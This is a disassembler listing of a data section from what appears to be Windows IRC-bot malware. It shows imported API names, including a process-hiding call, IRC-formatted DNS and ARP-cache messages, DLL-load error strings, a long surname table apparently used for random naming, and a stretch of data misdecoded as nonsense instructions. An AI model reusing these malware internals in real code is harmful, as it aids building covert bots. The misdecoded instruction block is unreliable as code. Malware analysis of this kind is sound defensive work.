		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 4
unk_42D364	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 10h
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42D4F4	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D524	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D554	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D578	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
aReal		db 'real',0
		align 4
		dd 0
dword_42D5BC	dd 0			; DATA XREF: sub_40B08D+7o
off_42D5C0	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42D628	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D634	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
; ---------------------------------------------------------------------------
		aam	0FEh
		inc	edx
		add	al, cl
		inc	byte ptr [edx+0]
		mov	esp, 0B40042FEh
		inc	byte ptr [edx+0]
		lodsb
		inc	byte ptr [edx+0]
		test	al, 0FEh
		inc	edx
		add	[eax-67FFBD02h], ah
		inc	byte ptr [edx+0]
		nop
		inc	byte ptr [edx+0]
		mov	dh, bh
		inc	edx
		add	[eax+780042FEh], al
		inc	byte ptr [edx+0]

loc_42DEC8:				; CODE XREF: ___:loc_42DEC8j
		jo	short loc_42DEC8
		inc	edx
		add	[eax-2], ch
		inc	edx
		add	[eax-2], ah
		inc	edx
		add	[eax-2], bl
		inc	edx
		add	[eax-2], dl
		inc	edx
		add	[eax-2], cl
		inc	edx
		add	[eax-2], al
		inc	edx
		add	[eax], bh
		inc	byte ptr [edx+0]
		xor	dh, bh
		inc	edx
		add	[eax], ch
		inc	byte ptr [edx+0]
		sbb	dh, bh
		inc	edx
		add	[eax], dl
		inc	byte ptr [edx+0]
		add	al, 0FEh
		inc	edx
		add	al, bh
		std
		inc	edx
		add	al, dh
		std
		inc	edx
		add	ah, ah
		std
		inc	edx
		add	al, bl
		std
		inc	edx
		add	al, dl
		std
		inc	edx
		add	ah, al
		std
		inc	edx
		add	[ebp+edi*8-24BFFBEh], bh
		inc	edx
		add	[ebp+edi*8-25BFFBEh], ch
		inc	edx
		add	[ebp+edi*8-26FFFBEh], bl
		inc	edx
		add	[eax+7C0042FDh], cl
		std
		inc	edx
		add	[ebp+edi*8+42h], dh
		add	[ebp+edi*8+42h], ch
		add	[eax-3], ah
		inc	edx
		add	[eax-3], bl
		inc	edx
		add	[eax-3], dl
		inc	edx
		add	[eax-3], cl
		inc	edx
		add	[eax-3], al
		inc	edx
		add	[eax], bh
		std
		inc	edx
		add	[eax], dh
		std
		inc	edx
		add	[eax], ch
		std
		inc	edx
		add	[eax], ah
		std
		inc	edx
		add	[eax], bl
		std
		inc	edx
		add	[eax], dl
		std
		inc	edx
		add	[eax], cl
		std
		inc	edx
		add	ah, bh
		cld
		inc	edx
		add	al, bh
		cld
		inc	edx
		add	al, dh
		cld
		inc	edx
		add	al, ch
		cld
		inc	edx
		add	al, ah
		cld
		inc	edx
		add	ah, dl
		cld
		inc	edx
		add	ah, cl
		cld
		inc	edx
		add	ah, al
		cld
		inc	edx
		add	[eax-4FFFBD04h], bh
		cld
		inc	edx
		add	[eax-5FFFBD04h], ch
		cld
		inc	edx
		add	[eax-6FFFBD04h], bl
		cld
		inc	edx
		add	[eax+7C0042FCh], cl
		cld
		inc	edx
		add	[esp+edi*8+42h], dh
		add	[esp+edi*8+42h], ch
		add	[eax-4], ah
		inc	edx
		add	[eax-4], bl
		inc	edx
		add	[eax-4], dl
		inc	edx
		add	[eax-4], cl
		inc	edx
		add	[eax-4], al
		inc	edx
		add	[eax], bh
		cld
		inc	edx
		add	[eax], dh
		cld
		inc	edx
		add	[esp+edi*8], ah
		inc	edx
		add	[eax], ah
		cld
		inc	edx
		add	[eax], bl
		cld
		inc	edx
		add	[eax], dl
		cld
		inc	edx
		add	[eax], cl
		cld
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
